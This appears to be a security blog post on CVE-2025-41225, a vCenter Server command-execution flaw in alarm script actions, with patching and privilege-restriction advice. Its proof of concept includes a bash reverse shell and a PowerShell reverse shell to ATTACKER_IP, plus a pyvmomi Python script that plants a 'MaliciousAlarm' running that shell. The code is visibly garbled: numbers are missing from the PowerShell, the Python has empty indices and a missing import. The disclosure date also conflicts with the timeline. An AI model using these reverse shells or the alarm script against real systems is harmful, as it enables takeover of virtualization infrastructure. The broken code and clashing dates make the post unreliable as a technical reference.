On June 5th, 2025, VMware disclosed CVE-2025-41225, a critical vulnerability in vCenter Server. This flaw allows any authenticated user with enough privileges to create or modify alarms and run script actions to execute arbitrary commands on the vCenter Server. In this post, we break down what this means, how attackers can exploit it, and what you should do now to protect your infrastructure.

What Is CVE-2025-41225?

vCenter Server is the management hub for VMware vSphere installations, allowing admins to handle virtual machines, ESXi hosts, networking, and storage from a central console.

CVE-2025-41225 exposes a dangerous gap: malicious users with rights to create or modify alarms and configure the script action setting on those alarms can force vCenter Server to execute any OS-level command as the service account—giving them full control of the underlying server.

Put simply: If an attacker gets enough access to manage alarms, they can run system commands and potentially take over your data center.

How Does the Exploit Work?

The vCenter Server lets privileged users set up "alarms" that react to particular events—like VMs powering off or storage filling up. Alarms can trigger "actions." One of those actions is to "run script" on the vCenter Server itself.

Here's the problem: When setting the script, vCenter does not properly validate or sanitize the script path or arguments. So an attacker can enter any malicious OS command, and vCenter will run it whenever the alarm triggers.

Sample Exploit (Proof-of-Concept)

Suppose an attacker wants to open a reverse shell back to their machine.

`sh

/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 >&1'

- Or on Windows vCenter

`cmd

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = ..65535|%{};while(($i = $stream.Read($bytes, , $bytes.Length)) -ne ){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,,$sendbyte.Length);$stream.Flush()}"

Code Snippet: Creating the Alarm via API

This can also be done via the vCenter API. Here’s a basic example using Python and the pyvmomi library:

from pyVim.connect import SmartConnect, Disconnect
import ssl

s = ssl._create_unverified_context()
si = SmartConnect(host="vcenter.local", user="user", pwd="pass", sslContext=s)
content = si.RetrieveContent()

# Find the object to attach alarm to (e.g., the first VM)
vm = content.rootFolder.childEntity[].vmFolder.childEntity[]

spec = vim.alarm.AlarmSpec()
spec.name = "MaliciousAlarm"
spec.description = "Runs malicious command"
spec.enabled = True

# Dummy trigger
expr = vim.alarm.EventAlarmExpression()
expr.eventType = "VmPoweredOffEvent"
expr.objectType = "VirtualMachine"
spec.expression = expr

# Action: run a command (on Linux)
alarm_action = vim.alarm.AlarmAction()
cmd_action = vim.alarm.RunScriptAction()
cmd_action.script = "/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 >&1'"
alarm_action = vim.alarm.AlarmTriggeringAction()
alarm_action.action = cmd_action
alarm_action.yellow2red = True
alarm_action.repeats = False

spec.action = alarm_action

# Create alarm
alarm_manager = content.alarmManager
alarm_manager.CreateAlarm(entity=vm, spec=spec)

Note: This sample skips all error handling and authentication checks for clarity.

How Do I Know If I’m Vulnerable?

- Affected versions: See the official VMware advisory for full version details.

Audit for alarms with suspicious "Run script" actions attached.

- Review logs for commands executed by the vCenter server user, especially those initiating reverse shells or unknown remote connections.

1. Patch Immediately

VMware has released patches. Download and apply the latest update.
- VMware Advisory: VMSA-2025-0017
- Download patches

2. Restrict Alarm Privileges

Remove 'Alarm.Create' and 'Alarm.Modify' rights from all but essential administrators. Review group memberships.

References

- VMware Security Advisory – VMSA-2025-0017 (CVE-2025-41225)
- VMware Documentation – Configure vCenter Alarms
- pyvmomi Examples (GitHub)

Conclusion

CVE-2025-41225 is a significant risk for vCenter environments and should be addressed *immediately*. Make sure you patch, tighten up privileges, and always keep an eye on scriptable automation features.

If you have questions or find a compromised vCenter, consider rapid isolation and incident response—because with this vulnerability, attackers can fully control your VMware infrastructure.

Stay safe, and keep your management plane locked down!


*This article is exclusive and tailored for easy understanding. For the latest, always check the official advisories.*

Timeline

Published on: 05/20/2025 15:16:07 UTC
Last modified on: 05/21/2025 20:25:16 UTC